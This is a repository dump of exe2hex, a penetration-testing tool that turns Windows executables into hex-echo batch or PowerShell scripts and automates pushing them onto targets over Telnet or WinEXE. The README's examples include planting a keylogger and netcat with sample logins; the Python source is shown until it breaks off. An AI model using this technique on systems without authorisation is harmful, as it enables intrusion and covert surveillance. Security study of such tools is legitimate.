[
  {
    "path": "LICENSE",
    "content": "The MIT License (MIT)\n\nCopyright (c) 2015 g0tmi1k\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\n"
  },
  {
    "path": "README.md",
    "content": "# exe2hex\n\nInline file transfer using in-built Windows tools (`DEBUG.exe` or PowerShell).\n\n<p align=\"center\">\n  <img src=\"http://i.imgur.com/n6Op45O.png\" alt=\"exe2hex logo\"/>\n</p>\n\n- - -\n\n### Overview\n\nexe2hex encodes an executable binary file into ASCII text format.\n\nThe result then can be transferred to the target machine (It is much easier to echo a ASCII file than binary data).\n\nUpon executing exe2hex's output file, the original program is restored by using `DEBUG.exe` or PowerShell (which are pre-installed by default on Windows).\n\nCan be automated by using either the in-built Telnet or WinEXE options in exe2hex to transfer the file over to the target machine, else the output can manually be inserted.\n\n```Binary EXE -> ASCII Text -> *Transfer* -> Binary EXE```\n\n![](https://i.imgur.com/vAmiyj9.png)\n\n- - -\n\n### Quick Guide\n\n + Input using a file (`-x /path/to/binary-program.exe`) or STDIN (`-s`)\n + Output to BATch (`-b file.bat`) and/or PoSH (`-p powershell.cmd`)\n\n#### Example Usage\n\n**Create BATch & PowerShell files**:\n```bash\n$ python3 exe2hex.py -x /usr/share/windows-binaries/sbd.exe\n[*] exe2hex v1.5\n[i] Outputting to /root/sbd.bat (BATch) and /root/sbd.cmd (PoSh)\n[+] Successfully wrote (BATch) /root/sbd.bat\n[+] Successfully wrote (PoSh) /root/sbd.cmd\n$\n```\n\n**Compress the file before creating a BATch file**:\n```bash\n$ ./exe2hex.py -x /usr/share/windows-binaries/nc.exe -b /var/www/html/nc.txt -cc\n[*] exe2hex v1.5\n[i] Attempting to clone and compress\n[i] Creating temporary file /tmp/tmpft9tmm_i\n[+] Compression (strip) was successful! (0.0% saved)\n[+] Compression (UPX) was successful! (50.9% saved)\n[+] Successfully wrote (BATch) /var/www/html/nc.txt\n$\n```\n\n**Use STDIN to create BATch & PowerShell files**:\n```bash\n$ cat /usr/share/windows-binaries/whoami.exe | python3 exe2hex.py -s -b debug.bat -p ps.cmd\n[*] exe2hex v1.5\n[i] Reading from STDIN\n[+] Successfully wrote (BATch) /root/debug.bat\n[+] Successfully wrote (PoSh) /root/ps.cmd\n$\n```\n\n#### Help\n\n```bash\n$ python3 exe2hex.py\n[*] exe2hex v1.5\n\nEncodes an executable binary file into ASCII text format\nRestore using DEBUG.exe (BATch - x86) or PowerShell (PoSh - x86/x64)\n\nQuick Guide:\n + Input binary file with -s or -x\n + Output with -b and/or -p\nExample:\n $ /usr/bin/exe2hex -x /usr/share/windows-binaries/sbd.exe\n $ /usr/bin/exe2hex -x /usr/share/windows-binaries/nc.exe -b /var/www/html/nc.txt -cc\n $ cat /usr/share/windows-binaries/whoami.exe | /usr/bin/exe2hex -s -b debug.bat -p ps.cmd\n\n--- --- --- --- --- --- --- --- --- --- --- --- --- --- ---\n\nUsage: exe2hex [options]\n\nOptions:\n  -h, --help  show this help message and exit\n  -x EXE      The EXE binary file to convert\n  -s          Read from STDIN\n  -b BAT      BAT output file (DEBUG.exe method - x86)\n  -p POSH     PoSh output file (PowerShell method - x86/x64)\n  -e          URL encode the output\n  -r TEXT     pRefix - text to add before the command on each line\n  -f TEXT     suFfix - text to add after the command on each line\n  -l INT      Maximum HEX values per line\n  -c          Clones and compress the file before converting (-cc for higher\n              compression)\n  -t          Create a Expect file, to automate to a Telnet session.\n  -w          Create a Expect file, to automate to a WinEXE session.\n  -v          Enable verbose mode\n$\n```\n\n- - -\n\n### Methods/OS Support\n\n+ **`DEBUG.exe` (BATch mode - `-b`)**\n  + Supports x86 OSs (No x64 support).\n  + Useful for legacy versions of Windows (e.g. Windows XP/Windows 2000).\n    + Pre-installed by default. Works out of the box.\n  + ~~Limitation of 64k file size for binary programs.~~ Creates multiple parts and joins with `copy /b` so this is not an issue anymore!\n+ **PowerShell (PoSh mode - `-p`)**\n  + Supports both x86 & x64 OSs.\n  + Aimed at more \"recent\" versions of Windows.\n    + PowerShell was first integrated into core OS with Windows 7/Windows Server 2008 R2.\n    + Windows XP SP2, Windows Server 2003 & Windows Vista requires PowerShell to be pre-installed.\n  + This is **not** a `.ps1` file (pure PowerShell). It only calls PowerShell at the end.\n\n- - -\n\n### Features\n\n**Primary purpose**: Convert a binary program into a ASCII HEX file which can be restored using in-built OS programs.\n\n+ Work on old and new versions of Windows without requiring any 3rd party programs to be pre-installed.\n+ Supports x86 & x64 OSs.\n+ Can use DEBUG.exe or PowerShell to restore the file.\n+ Able to compress the file before converting.\n+ URL encode the output.\n+ The option to add prefix and suffix text to each line.\n+ Able to set a maximum HEX length per line.\n+ Can use a binary file or pipe from standard input (`STDIN`).\n+ Automate transfers over Telnet and/or WinEXE.\n\n\nNote: This is nothing new. [The core idea (using DEBUG.exe for inline file transfer) has been around since 2003](https://www.blackhat.com/presentations/bh-asia-03/bh-asia-03-chong.pdf) _(if not earlier!)_.\n\n- - -\n\n### Telnet\n\nWhen pasting a large amount of data (100+ lines) directly into a Telnet session, the results can be \"unpredictable\". Behaviours include lines being executed in a incorrect order or characters are just completely skipped.\n\nA solution is to use \"[Expect](http://expect.sourceforge.net/)\" (which is an extension of [TCL](https://sourceforge.net/projects/tcl/)). Expect can be found in a most major Linux OSs repositories (`apt-get -y install expect` / `yum -y install expect` / `pacman -S expect`). Upon executing exe2hex's Telnet script, Expect will automate the Telnet login (based on the arguments used), look for a writeable folder (e.g. defaults to the system variable, `%TEMP%`) and then start inputting commands from exe2hex's output file, line by line one at a time. If required, the variables at the top of the Expect script can be manually edited (to use a different Telnet port, path, or command prompt).\n\nAn example of exe2hex's Telnet mode can be seen below:\n\n```bash\n$ python3 exe2hex.py -x /usr/share/windows-binaries/klogger.exe -b klogger.bat -t\n[*] exe2hex v1.5\n[+] Successfully wrote (BATch) /root/klogger.bat\n[+] Successfully wrote (Expect) /root/klogger-bat-telnet\n$\n$ expect /root/klogger-bat-telnet\nUsage: ./klogger-bat-telnet <ip> <username> <password>\n$\n$ /root/klogger-bat-telnet 192.168.103.148 winxp pass123\n\nspawn telnet 192.168.103.148\n\nTrying 192.168.103.148...\nConnected to 192.168.103.148.\nEscape character is '^]'.\nWelcome to Microsoft Telnet Service\n\nlogin: winxp\npassword:\n\n*===============================================================\nWelcome to Microsoft Telnet Server.\n*===============================================================\nC:\\Documents and Settings\\winxp>cd %TEMP%\nC:\\DOCUME~1\\winxp\\LOCALS~1\\Temp>echo 418671.0>klogger.bat\n418671.0E~1\\winxp\\LOCALS~1\\Temp>type klogger.bat\n\nC:\\DOCUME~1\\winxp\\LOCALS~1\\Temp>\n\n[i] Writeable folder!\n\nC:\\DOCUME~1\\winxp\\LOCALS~1\\Temp>del /F klogger.bat\nRuns Debug, a program testing and editing tool.\n\nDEBUG [[drive:][path]filename [testfile-parameters]]\n\n  [drive:][path]filename  Specifies the file you want to test.\n  testfile-parameters     Specifies command-line information required by\n                          the file you want to test.\n\nAfter Debug starts, type ? to display a list of debugging commands.\n\nC:\\DOCUME~1\\winxp\\LOCALS~1\\Temp>C:\\DOCUME~1\\winxp\\LOCALS~1\\Temp>   (Progress: 1/382)\nif NOT %ERRORLEVEL% == 0 echo &echo &echo &echo **** **** **** **** ****&echo *** Missing DEBUG.exe ***&echo **** **** **** **** ****&exit /b\nC:\\DOCUME~1\\winxp\\LOCALS~1\\Temp>C:\\DOCUME~1\\winxp\\LOCALS~1\\Temp>   (Progress: 2/382)\necho n klogger.0>klogger.hex\nC:\\DOCUME~1\\winxp\\LOCALS~1\\Temp>C:\\DOCUME~1\\winxp\\LOCALS~1\\Temp>   (Progress: 3/382)\necho e 0100>>klogger.hex\nC:\\DOCUME~1\\winxp\\LOCALS~1\\Temp>C:\\DOCUME~1\\winxp\\LOCALS~1\\Temp>   (Progress: 4/382)\necho 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00>>klogger.hex\nC:\\DOCUME~1\\winxp\\LOCALS~1\\Temp>C:\\DOCUME~1\\winxp\\LOCALS~1\\Temp>   (Progress: 5/382)\necho e 0180>>klogger.hex\n\n\n...SNIP...\n\nC:\\DOCUME~1\\winxp\\LOCALS~1\\Temp>C:\\DOCUME~1\\winxp\\LOCALS~1\\Temp>   (Progress: 376/382)\nmove /Y klogger.0 klogger.exe\nC:\\DOCUME~1\\winxp\\LOCALS~1\\Temp>C:\\DOCUME~1\\winxp\\LOCALS~1\\Temp>   (Progress: 377/382)\necho. >klogger.hex\nC:\\DOCUME~1\\winxp\\LOCALS~1\\Temp>C:\\DOCUME~1\\winxp\\LOCALS~1\\Temp>   (Progress: 378/382)\ndel /F /Q klogger.hex klogger.0\nC:\\DOCUME~1\\winxp\\LOCALS~1\\Temp>C:\\DOCUME~1\\winxp\\LOCALS~1\\Temp>   (Progress: 379/382)\n Volume in drive C has no label.\n Volume Serial Number is 002C-A3B2\n\n Directory of C:\\DOCUME~1\\winxp\\LOCALS~1\\Temp\n\n06/09/2017  10:19 AM            23,552 klogger.exe\n               1 File(s)         23,552 bytes\n               0 Dir(s)  40,501,571,584 bytes free\n\nC:\\DOCUME~1\\winxp\\LOCALS~1\\Temp>C:\\DOCUME~1\\winxp\\LOCALS~1\\Temp>   (Progress: 380/382)\n\n\n[i] Done\n\nC:\\DOCUME~1\\winxp\\LOCALS~1\\Temp>\n```\n\n\n### WinEXE\n\nLike the Telnet mode (`-t`), exe2hex can automate using winexe to transfer files across, inline, using expect:\n\n```bash\n$ python3 exe2hex.py -x /usr/share/windows-binaries/mbenum/mbenum.exe -p mbenum.cmd -w\n[*] exe2hex v1.5\n[+] Successfully wrote (PoSh) /root/mbenum.cmd\n[+] Successfully wrote (Expect) /root/mbenum-posh-winexe\n$\n$ expect /root/mbenum-posh-winexe\nUsage: ./mbenum-posh-winexe <ip> <username> <password>\n$\n$ ./mbenum-posh-winexe 192.168.103.147 win7 123456789\n\nspawn winexe -U win7%123456789 //192.168.103.147 cmd.exe\n\nMicrosoft Windows [Version 6.1.7601]\nCopyright (c) 2009 Microsoft Corporation.  All rights reserved.\n\nC:\\Windows\\system32>cd %TEMP%\ncd %TEMP%\n\nC:\\Windows\\Temp>echo 656082.0>mbenum.cmd\necho 656082.0>mbenum.cmd\n\nC:\\Windows\\Temp>type mbenum.cmd\ntype mbenum.cmd\n656082.0\n\n[i] Writeable folder!\n\n\nC:\\Windows\\Temp>del /F mbenum.cmd\ndel /F mbenum.cmd\n\nC:\\Windows\\Temp>echo|set /p=\"\">mbenum.hex\n\necho|set /p=\"\">mbenum.hex\n\nC:\\Windows\\Temp>   (Progress: 1/388)\n\nC:\\Windows\\Temp>echo|set /p=\"4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000e80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000\">>mbenum.hex\n\necho|set /p=\"4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000e80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000\">>mbenum.hex\n\nC:\\Windows\\Temp>   (Progress: 2/388)\n\nC:\\Windows\\Temp>echo|set /p=\"fa28c48dbe49aadebe49aadebe49aadec555a6debf49aaded156a1debf49aade3d55a4deae49aaded156a0de8b49aade3d41f7debb49aadebe49abde9049aadeb86aa0debc49aade52696368be49aade000000000000000000000000000000000000000000000000504500004c01030001ea7f3f0000000000000000e0000f01\">>mbenum.hex\n\n...SNIP...\n\nC:\\Windows\\Temp>   (Progress: 385/388)\n\nC:\\Windows\\Temp>powershell -Command \"$h=Get-Content -readcount 0 -path './mbenum.hex';$l=$h[0].length;$b=New-Object byte[] ($l/2);$x=0;for ($i=0;$i -le $l-1;$i+=2){$b[$x]=[byte]::Parse($h[0].Substring($i,2),[System.Globalization.NumberStyles]::HexNumber);$x+=1};set-content -encoding byte 'mbenum.exe' -value $b;Remove-Item -force mbenum.hex;Get-ChildItem mbenum.exe;\"\n\npowershell -Command \"$h=Get-Content -readcount 0 -path './mbenum.hex';$l=$h[0].length;$b=New-Object byte[] ($l/2);$x=0;for ($i=0;$i -le $l-1;$i+=2){$b[$x]=[byte]::Parse($h[0].Substring($i,2),[System.Globalization.NumberStyles]::HexNumber);$x+=1};set-content -encoding byte 'mbenum.exe' -value $b;Remove-Item -force mbenum.hex;Get-ChildItem mbenum.exe;\"\n\n\n   (Progress: 386/388)ows\\Temp\n\n\n[i] Done\n\n\n\nMode                LastWriteTime     Length Name\n----                -------------     ------ ----\n-a---        09/06/2017     10:21      49152 mbenum.exe\n\n\n\n\nC:\\Windows\\Temp>\n```\n\n_NOTE: May need to press enter to get a prompt back at the end._\n\n- - -\n\n## Install\n\nJust exe2hex just requires [Python 3](https://www.python.org/) to function ([Expect](http://expect.sourceforge.net/) is optional for Telnet and WinEXE functions).\n\nSimply add exe2hex a folder in your `$PATH` variable:\n\n```bash\n$ echo $PATH\n/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\n$ curl -k -L \"https://raw.githubusercontent.com/g0tmi1k/exe2hex/master/exe2hex.py\" > /usr/local/bin/exe2hex\n$ chmod 0755 /usr/local/bin/exe2hex\n```\n\n### Kali-Linux\n\nexe2hex is already [packaged](https://pkg.kali.org/pkg/exe2hexbat) in [Kali Rolling](https://www.kali.org/), so all you have to-do is:\n\n```bash\nroot@kali:~# apt install -y exe2hexbat\n```\n"
  },
  {
    "path": "exe2hex.py",
    "content": "#!/usr/bin/env python3\n\n# Name: exe2hex v1.5.2 (2020-04-24) ~ Codename: hEXE\n# Author: g0tmilk ~ https://blog.g0tmi1k.com/\n# Licence: MIT License ~ http://opensource.org/licenses/MIT\n# Credit to: exe2bat.exe & https://github.com/acjsec/exe2bam\n# Notes: Could use certutil for base64...\n\nimport os\nimport shutil\nimport signal\nimport subprocess\nimport sys\nimport tempfile\nfrom optparse import OptionParser\n\nimport urllib.parse\n\nversion = '1.5.2'\n\n\n###################\n# Functions start #\n###################\n\n# Use standard error message and exit\ndef error_exit(msg):\n    error_msg(msg)\n    sys.exit(1)\n\n\n# Standard error message (Red)\ndef error_msg(msg):\n    sys.stderr.write(\"\\033[01;31m[!]\\033[00m ERROR: %s\\n\" % msg)\n\n\n# Standard success message (Green)\ndef success_msg(msg):\n    print(\"\\033[01;32m[+]\\033[00m %s\" % msg)\n\n\n# Verbose message (Yellow)\ndef verbose_msg(msg):\n    if verbose:\n        notification_msg(msg)\n\n\n# Standard notification message (Yellow)\ndef notification_msg(msg):\n    print(\"\\033[01;33m[i]\\033[00m %s\" % msg)\n\n\n# Banner information (Blue)\ndef banner_msg(msg):\n    print(\"\\033[01;34m[*]\\033[00m %s\" % msg)\n\n\n# CTRL + C\ndef signal_handler(signal, frame):\n    print('Quitting...')\n    sys.exit(0)\n\n\n#################\n# Functions End #\n#################\n\n\n###########################\n# Start BinaryInput class #\n###########################\n\nclass BinaryInput:\n    # Initialization object configuration\n    def __init__(self, exe_file, output_file, method):\n        self.exe_file = exe_file  # Full path of the binary input\n        self.output_file = output_file # Full path of output file\n        self.telnet_file = None  # Full path of the telnet file out\n        self.winexe_file = None  # Full path of the winexe file out\n        self.exe_filename = \"\"  # Filename of binary input\n        self.output_filename = \"\"  # Filename of output file\n        self.short_file = \"\"  # Short filename of bat output (8.3 filename)\n        self.telnet_filename = \"\"  # Filename of telnet output\n        self.winexe_filename = \"\"  # Filename of winexe output\n        self.exe_bin = b''  # Binary input (data read in)\n        self.bin_size = 0  # Binary input (size of data)\n        self.byte_count = 0  # How many loops to read in binary\n        self.output_hex = \"\"  # hex format output\n        self.method = method # EXE conversion method\n\n        # Extract the input filename from the input path (if there was one)\n        if self.exe_file:\n            self.exe_file = os.path.abspath(self.exe_file)\n            self.exe_filename = os.path.basename(self.exe_file)\n        else:\n            self.exe_filename = \"binary.exe\"\n        verbose_msg(\"Output EXE filename: %s\" % self.exe_filename)\n\n        # debug.exe has a limitation when renaming files > 8 characters (8.3 filename)\n        self.short_file = os.path.splitext(self.exe_filename)[0][:8]\n        verbose_msg(\"Short filename: %s\" % self.short_file)\n\n        self.output_filename = os.path.basename(self.output_file)\n        verbose_msg(\"Output filename: %s\" % self.output_filename)\n\n    # Make sure the input file exists\n    def check_exe(self):\n        if not os.path.isfile(self.exe_file):\n            error_exit(\"The input file was not found (%s)\" % self.exe_file)\n\n    # Make sure the binary size <= 64k when using bat files (limitation with debug.exe)\n    def check_bat_size(self):\n        verbose_msg('Binary file size: %s bytes' % self.bin_size)\n\n        if self.bin_size > 65536:\n            verbose_msg('Input is larger than 65536 bytes')\n\n    # Try and use strip and/or upx to compress (useful for bat)\n    def compress_exe(self):\n        notification_msg('Attempting to clone and compress')\n\n        tf = tempfile.NamedTemporaryFile(delete=False)\n        notification_msg('Creating temporary file %s' % tf.name)\n        try:\n            if (self.exe_file):\n                shutil.copy2(self.exe_file, tf.name)\n            else:\n                with open(tf.name, 'wb') as out:\n                    out.write(self.exe_bin)\n        except:\n            error_exit(\"A problem occurred while trying to clone into a temporary file\")\n\n        # Compress the new temp file\n        self.compress_exe_strip(tf)\n\n        # Don't do it if its not needed. (AV may detect this)\n        if compress == 2:\n            self.compress_exe_upx(tf)\n\n        # Set the temp file as the main file\n        self.exe_file = os.path.abspath(tf.name)\n\n    # Use strip to compress (useful for bat)\n    def compress_exe_strip(self, tf):\n        if shutil.which(\"strip\"):\n            verbose_msg('Running strip on %s' % tf.name)\n\n            # Get the size before compression\n            before_size = os.path.getsize(tf.name)\n\n            # Program to run to compress\n            command = \"strip -s %s\" % tf.name\n            process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE)\n            process.wait()\n\n            # Size after compression\n            after_size = os.path.getsize(tf.name)\n            diff_size = before_size - after_size\n\n            # Feedback for the user\n            success_msg(\"Compression (strip) was successful! (%s saved)\" % (\"{:.1%}\".format(diff_size / before_size)))\n            verbose_msg('Binary file size (after strip) %s' % os.path.getsize(tf.name))\n        else:\n            error_msg(\"Cannot find strip. Skipping...\")\n\n    # Use UPX to compress (useful for bat). Can be flag'd by AV\n    def compress_exe_upx(self, tf):\n        if shutil.which(\"upx\"):\n            verbose_msg('Running UPX on %s' % tf.name)\n\n            # Get the size before compression\n            before_size = os.path.getsize(tf.name)\n\n            # Program to run to compress\n            command = \"upx -9 -q -f %s\" % tf.name\n            process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE)\n            process.wait()\n\n            # Size after compression\n            after_size = os.path.getsize(tf.name)\n            diff_size = before_size - after_size\n\n            # Feedback for the user\n            success_msg(\"Compression (UPX) was successful! (%s saved)\" % (\"{:.1%}\".format(diff_size / before_size)))\n            verbose_msg('Binary file size (after UPX) %s' % os.path.getsize(tf.name))\n        else:\n            error_msg(\"Cannot find UPX. Skipping...\")\n\n    # Get the contents of the input file\n    def read_bin_file(self):\n        # Feedback for the user, to know where they are\n        verbose_msg('Reading binary file')\n\n        # Read the input file\n        try:\n            with open(self.exe_file, \"rb\") as f:\n                self.exe_bin = f.read()\n        except:\n            error_exit(\"A problem occurred while reading the input file (%s)\" % self.exe_file)\n\n        # Set the size of the input file\n        self.bin_size = os.path.getsize(self.exe_file)\n\n    # Get the contents of STDIN input\n    def read_bin_stdin(self):\n        # Feedback for the user, to know where they are\n        notification_msg('Reading from STDIN')\n\n        # Read from STDIN\n        f = \"\"\n        try:\n            f = sys.stdin.buffer.read()\n        except:\n            error_exit('A problem occurred while reading STDIN')\n\n        # Get the length of data read\n        stdin_bytes = len(f)\n\n        # Did something go wrong?\n        if stdin_bytes == 0:\n            error_exit('Zero bytes read from STDIN')\n\n        # Set the size from STDIN\n        self.bin_size = stdin_bytes\n\n        # Add the read byte into the byte string\n        self.exe_bin = f\n\n    # Convert binary data to a bat file\n    def bin_to_bat(self):\n        # Feedback for the user, to know where they are\n        verbose_msg('Converting to BATch (DEBUG.exe)')\n\n        # Number of 64k+/max_size loops will be the number of parts made/\n        x = -1\n\n        # What is tha max size we can use for the loop\n        max_size = 65536 - (hex_len * 2)\n\n        # Loop through binary bytes per 65536 (Debug.exe limitation)\n        for exeloop in range(0, len(self.exe_bin), max_size):\n\n            # Increase the loop counter (incase the input file is 64k+)\n            x += 1\n\n            # Start fresh. Empty the value\n            self.byte_count = 0\n\n            # Loop through binary input file for this section\n            for i in range(exeloop, exeloop + max_size, hex_len):\n\n                # Is there any more data? Are we at the end?\n                if not (self.exe_bin[i:i + hex_len]):\n                    break\n\n                # Numbering for the hex position in this loop\n                hex_size = (i - (max_size * x)) + (hex_len * 2)\n\n                # Convert to hex and debug.exe format\n                self.output_hex += '%secho e %s>>%s.hex%s\\r\\necho ' % (\n                    prefix, '{:04x}'.format(hex_size), self.short_file, suffix)\n                self.output_hex += ' '.join('%02x' % y for y in self.exe_bin[i:i + hex_len])\n                self.output_hex += '>>%s.hex%s\\r\\n' % (self.short_file, suffix)\n\n                # Save the amount of data converted - aka byte counter (debug.exe needs it at the end)\n                self.byte_count += hex_len\n\n            # Save the bat file\n            self.save_bat(x)\n\n            # Start fresh. Empty the value\n            self.output_hex = \"\"\n\n        # Finish off the BATch file (in-case there's multiple parts)\n        self.finish_bat(x)\n\n    # Write resulting bat file\n    def finish_bat(self, loop=0):\n        # Is there more than one part? Going to be using this for the copy fu\n        if loop > 0:\n            # Loop them all, start with the first\n            parts = '%s.0' % self.short_file\n            for i in range(1, loop + 1, 1):\n                parts += '+%s.%s' % (self.short_file, i)\n\n            # Command fu, to join all the parts together\n            output = '%scopy /B /Y %s %s%s\\r\\n' % (prefix, parts, self.exe_filename, suffix)\n        else:\n            # Single file, just move it\n            output = '%smove /Y %s.%s %s%s\\r\\n' % (prefix, self.short_file, loop, self.exe_filename, suffix)\n\n        # Select every temp file used, so it can be deleted\n        parts = '%s.hex' % self.short_file\n        for i in range(0, loop + 1, 1):\n            parts += ' %s.%s' % (self.short_file, i)\n\n        # Some times the del command will not remove it (as it is still in use), so let's just null it!\n        output += '%secho. >%s.hex%s\\r\\n' % (prefix, self.short_file, suffix)\n\n        # The final few things\n        output += '%sdel /F /Q %s%s\\r\\n' % (prefix, parts, suffix)\n        output += '%sdir %s%s\\r\\n\\r\\n' % (prefix, self.exe_filename, suffix)\n        #if self.telnet_file == None:\n        #    output += '%sstart /wait /b %s%s\\r\\n\\r\\n' % (prefix, self.exe_filename, suffix)\n\n        # Write the file out\n        self.write_file(self.output_file, output, \"BATch (DEBUG.exe)\", False)\n\n    # Convert binary data to a PoSh file\n    def bin_to_posh(self):\n        # Null any previous files\n        #self.posh_hex += '%secho|set /p=\"\">%s.hex%s\\r\\n' % (prefix, self.short_file, suffix)\n        self.output_hex += '%secho|set /p=\"\">%s.hex%s\\r\\n' % (prefix, self.short_file, suffix)\n\n        # Loop through binary bytes\n        for i in range(0, len(self.exe_bin), hex_len):\n            self.output_hex += '%secho|set /p=\"' % (prefix)\n            self.output_hex += ''.join('%02x' % i for i in self.exe_bin[i:i + hex_len])\n            self.output_hex += '\">>%s.hex%s\\r\\n' % (self.short_file, suffix)\n\n    # Write resulting bat file\n    def save_bat(self, loop=0):\n        # Create bat file!\n        output = \"\"\n        output += '%sdebug /?%s\\r\\n' % (prefix, suffix)\n        output += '%sif NOT %%ERRORLEVEL%% == 0 echo &echo &echo &echo **** **** **** **** ****&echo *** Missing DEBUG.exe ***&echo **** **** **** **** ****&exit /b%s\\r\\n' % (prefix, suffix)\n        output += '%secho n %s.%s>%s.hex%s\\r\\n' % (prefix, self.short_file, loop, self.short_file, suffix)\n        output += self.output_hex\n        output += '%secho r cx>>%s.hex%s\\r\\n' % (prefix, self.short_file, suffix)\n        output += '%secho %s>>%s.hex%s\\r\\n' % (prefix, '{:04x}'.format(self.byte_count), self.short_file, suffix)\n        output += '%secho w>>%s.hex%s\\r\\n' % (prefix, self.short_file, suffix)\n        output += '%secho q>>%s.hex%s\\r\\n' % (prefix, self.short_file, suffix)\n        output += '%sdebug<%s.hex%s\\r\\n' % (prefix, self.short_file, suffix)\n\n        # Write file out (Do we need need to overwrite?)\n        if loop > 0:\n            self.write_file(self.output_file, output, \"BATch - DEBUG.exe\", False)\n        else:\n            self.write_file(self.output_file, output, \"BATch - DEBUG.exe\", True)\n\n    # Write resulting PoSh file\n    def save_posh(self):\n        # Create PoSh file!\n        output = \"\"\n        #output += '%spowershell /?%s\\r\\n' % (prefix, suffix)\n        #output += '%sif NOT %%ERRORLEVEL%% == 0 echo &echo &echo &echo **** **** **** **** ****&echo *** Missing Powershell ***&echo **** **** **** **** ****&exit /b%s\\r\\n' % (prefix, suffix)\n        output += self.output_hex\n        output += \"%spowershell -Command \\\"\" % (prefix)\n        output += \"$h=Get-Content -readcount 0 -path './%s.hex';\" % (self.short_file)\n        output += \"$l=$h[0].length;\"\n        output += \"$b=New-Object byte[] ($l/2);\"\n        output += \"$x=0;\"\n        output += \"for ($i=0;$i -le $l-1;$i+=2)\"\n        output += \"{$b[$x]=[byte]::Parse($h[0].Substring($i,2),[System.Globalization.NumberStyles]::HexNumber);\"\n        output += \"$x+=1};\"\n        output += \"set-content -encoding byte '%s' -value $b;\" % (self.exe_filename)\n        output += \"Remove-Item -force %s.hex;\" % (self.short_file)\n        #output += \"Get-ChildItem %s;\" % (self.exe_filename)\n        output += \"\\\"%s\\r\\n\\r\\n\" % (suffix)\n        #output += '%sstart /wait /b %s%s\\r\\n\\r\\n' % (prefix, self.exe_filename, suffix)\n\n        # Write file out\n        self.write_file(self.output_file, output, \"PoSh\", True)\n        \n    # Write resulting certutil BATch file\n    def save_certutil_bat(self):\n        # Create bat file!\n        output = \"\"\n        output += self.output_hex\n        output += \"%scertutil -f -decodeHex %s.hex %s >nul%s\\r\\n\" % (prefix, self.short_file, self.exe_filename, suffix)\n        output += '%sdel /F /Q %s.hex%s\\r\\n' % (prefix, self.short_file, suffix)\n        output += '%sdir %s%s\\r\\n\\r\\n' % (prefix, self.exe_filename, suffix)\n        \n        # Write file out\n        self.write_file(self.output_file, output, \"BATch - certutil.exe\", True)\n\n    # Write resulting expect file\n    def save_expect(self, mode=''):\n        port = '0'\n        cmd = \"\"\n        file = \"\"\n        infilename = \"\"\n        infile = \"\"\n\n        if mode == \"telnet\":\n            port = \"23\"\n            #cmd = \"telnet -l $username $ip\"\n            cmd = \"telnet $ip\"\n            file = self.telnet_file\n            verbose_msg(\"Telnet filename: %s\" % self.telnet_filename)\n        elif mode == \"winexe\":\n            cmd = \"winexe -U $username%$password //$ip cmd.exe\"\n            file = self.winexe_file\n            verbose_msg(\"WinEXE filename: %s\" % self.winexe_filename)\n        else:\n            error_exit(\"Unexpected mode: %s\" % mode)\n\n            infilename = self.output_filename\n            infile = self.output_file\n\n        output = (\"\"\"#!/usr/bin/expect -f\nset timeout 10\nset ip [lindex $argv 0]\n#set port {0}\nset username [lindex $argv 1]\nset password [lindex $argv 2]\nset file_out {1}\nset file_in {2}\nset prompt \"C:\"\n## Read in command arguments\nif {{ [llength $argv] < 3 }} {{\n  set name [file tail $argv0]\n  send_user \"Usage: ./$name <ip> <username> <password>\\\\n\"; exit 1\n}}\n## Check to see if the input file is there\nif {{ ! [file exist $file_in] }} {{\n  send_user \"\\\\n\\\\n\\\\[!\\\\] $file_in is missing\\\\n\"; exit 1\n}}\n## Connect\nsend_user \"\\\\n\"\nspawn {3}\nsend_user \"\\\\n\"\n\"\"\").format(port, infilename, infile, cmd)\n\n        if mode == \"telnet\":\n            output += (\"\"\"## If there is a user name prompt (as -l doesn't always work)\nexpect \"login: \" { send \"$username\\\\r\" }\n## Wait for password prompt\nexpect {\n  \"password: \" { send \"$password\\\\r\" }\n  timeout { send_user \"\\\\n\\\\n\\\\[!\\\\] Failed to get password prompt\\\\n\"; exit 1 }\n}\n\"\"\")\n\n        output += (\"\"\"## Move to a commonly writeable folder\nexpect \"$prompt\" { send \"cd %TEMP%\\\\r\" }\n## Test write access\nset rand [ expr floor( rand() * 999900 ) ]\nexpect \"$prompt\" { send \"echo $rand>$file_out\\\\r\" }\nexpect \"$prompt\" { send \"type $file_out\\\\r\" }\nexpect {\n  \"$rand\" { send_user \"\\\\n\\\\n\\\\[i\\\\] Writeable 